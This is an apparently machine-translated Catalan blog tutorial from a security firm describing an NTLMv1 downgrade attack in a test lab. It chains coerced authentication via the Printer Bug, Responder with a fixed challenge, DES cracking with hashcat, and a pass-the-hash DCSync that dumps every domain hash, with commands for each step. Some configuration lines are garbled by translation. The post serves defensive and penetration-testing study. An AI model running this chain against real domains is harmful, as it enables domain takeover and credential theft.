NTLMv1 Downgrade attack

Atac de baixada de NTLMv1

Celia Catalán


Rebaixes de NetNTLMv1 

Com hem comentat en entrades anteriors després de forçar una autenticació i obtenir el hash NetNTLM de la contrasenya de l'usuari màquina de la víctima, se'ns presenten, principalment, tres escenaris diferents d'explotació, en aquest cas estarem parlat de: 

  • Rebaixes de NetNTLMv1  

En aquest escenari, l'atacant aprofitarà l'ús del protocol d'autenticació NetNTLMv1 a la xarxa. 

Per poder abusar del protocol d'autenticació esmentat, el servidor vulnerable a “Coerce Autentication” haurà de tenir configurat al registre la clau “LmCompatibilityLevel” i es troba amb un valor de 2 o menys. 

Això es pot configurar habilitant l'enviament de respostes LM i NTLM a la política de grup anomenada “Seguretat de xarxa: nivell d'autenticació de LAN Manager”. 


Resum 

Tot seguit, s'explica a grans trets el procés d'explotació d'aquest atac: 

  1. Obtenir una Resposta NetNTLMv1 del compte de màquina del controlador del domini forçant l'autenticació amb qualsevol vulnerabilitat de “Coerce Autentication”. 
  2. Transformar el hash NetNTLMv1 obtingut a un format per poder ser craquejat en el mode DES. 
  3. Crackejar les diferents parts del hash i obtenir les claus DES de cadascuna. 
  4. Transformar les claus DES Obtingudes a format NTLM. 
  5. Realitzar un DCSync per obtenir el NTDS mitjançant Pass The Hash fent ús del hash NTLM obtingut als passos anteriors. 

Components del laboratori de proves 

A continuació, descrivim breument els actius que es troben al laboratori de proves: 

  • Attack_Machine – Aquesta màquina fa referència a una Kali Linux des d'on farem l'atac per obtenir una “Coerce Autentication” i tenir a l'escolta el programari per obtenir el hash de l'usuari màquina en format NetNTLMv1. 
  • DC.corp.lab – Controlador de domini amb el domini “corp.lab” configurat, que serà víctima de l'atac. Es configurarà un usuari anomenat “Bob” en aquest domini sense privilegis per emular l'atac des del seu compromís. Aquest servidor tindrà aplicada la política de grup anomenada anteriorment. 

Desenvolupament de l'atac 

Obtenir una Resposta NetNTLMv1 

Per començar l'atac, haurem de comprovar si el controlador de domini és vulnerable a algun dels atacs de “Coerce Autentication” explicats “ aquí ”. En aquest cas, l'explotació la realitzarem abusant de l'MS-RPC anomenat MS-RPRN mitjançant l'script Printer Bug

S'haurà de comprovar que el DC té aquest MS-RPC habilitat mitjançant la següent ordre: 


Terminal

                python3 rpcdump.py @dc.corp.lab | grep 'MS-RPRN' 

      



Després de comprovar que el controlador de domini és vulnerable a aquesta Coerce Autentication, s'haurà de configurar la màquina de l'atacant. Per això s'haurà d'editar el fitxer de configuració del programari conegut com a Respondre, de la manera següent:


Terminal

                sudo nano /etc/responder/Responder.conf 

				SMB = activat 

				HTTP = activat 

				;Repte = Aleatori 

			Repte = 1122334455667788 

      


Un cop editat el fitxer de configuració de respondre, s'haurà d'executar de la manera següent per posar-lo a l'escolta. El flag –lm força un downgrade en certes versions de Sistema Operatiu. 


Terminal

                sudo responder -I eth0 -wv --lm  

      

Un cop tenint en execució “Respondre”, es procedirà a explotar la “Coerce Autentication”


Terminal

                'python3 printerbug.py "CORP/bob:contrasenya" @dc.corp.lab attack_machine'

      

Després de forçar l'autenticació de l'usuari de la màquina del controlador de domini contra la màquina de l'atacant, s'obté el hash NetNTLMv1 d'aquest usuari. 


Transformar el hash NetNTLMv1 obtingut a un format per poder ser craquejat 

Tal com s'ha comentat, una vegada obtingut el hash NetNTLMv1 s'haurà de transformar a un format que es pugui cracejar en el mode DES. Per fer-ho, es farà ús de l'eina ntlmv1-multi , la qual proporcionarà els passos següents a seguir per al correcte craqueig del hash. 


Terminal

                python3 ntlmv1.py --ntlmv1 'hash ntlmv1' 

      

Com es pot observar a la captura de pantalla anterior, la pròpia eina mostra com calcular els 4 últims dígits del hash NTLM, i facilita, d'una banda, els hashes que s'han de cracquejar a format DES, així com l'ordre que s'ha d'executar .  

Crackejar les diferents parts del hash i obtenir les claus DES de cadascuna 

Per tant, el primer, s'executarà el càlcul dels darrers 4 dígits del hash NTLM de la següent manera fent ús d'una eina de hashcat :


Terminal

                /usr/lib/hashcat-utils/ct3_to_ntlm.bin "sortida obtinguda amb ntlmv1.py" 

      

D'altra banda, es procedirà a crackejar a format DES els dos hashes proporcionats per l'eina ntlmv1-multi mitjançant l'eina de craqueig hashcat amb la següent ordre: 


Terminal

          hashcat.exe -m 14000 -a 3 -1 charsets/DES_full.hcchr --hex-charset 'fichero amb hashs' ?1?1?1?1?1?1?1?1       

      

NOTA: A les versions antigues de hashcat, es fa ús del “charset” DES_FULL.charset, a les versions actualitzades, es fa ús de DES_full.hcchr. 

Després del procés de craqueig, s'obté les següents claus DES: 

Transformar les claus DES Obtingudes a format NTLM: 

Un cop obtingudes les dues claus DES, s'haurà de fer ús d'altres eines de hashcat la qual permetrà transformar aquestes claus al format NTLM. 

Terminal

                 /usr/lib/hashcat-utils/deskey_to_ntlm.pl 'DES KEY crackeada 1' 

		/usr/lib/hashcat-utils/deskey_to_ntlm.pl 'DES KEY crackeada 2' 

      

Realitzar un DCSync per obtenir el NTDS mitjançant Pass The Hash :

Després d'obtenir totes les parts del hash NTLM de l'usuari màquina del controlador de domini, és possible realitzar un DCSync i obtenir el NTDS del domini mitjançant l'eina secretsdump.py d' impacket , fent un atac de Pass The Hash: 

Terminal

                Python3 secretsdump.py -just-dc-ntlm -hashes 'hash_ntlm' 'corp.lab/dc$@dc.corp.lab''  

      


Dimas Pastor , analista sènior de Zerolynx Group .

Tornar al bloc

Deixa un comentari

Tingueu en compte que els comentaris s'han d'aprovar abans que es publiquin.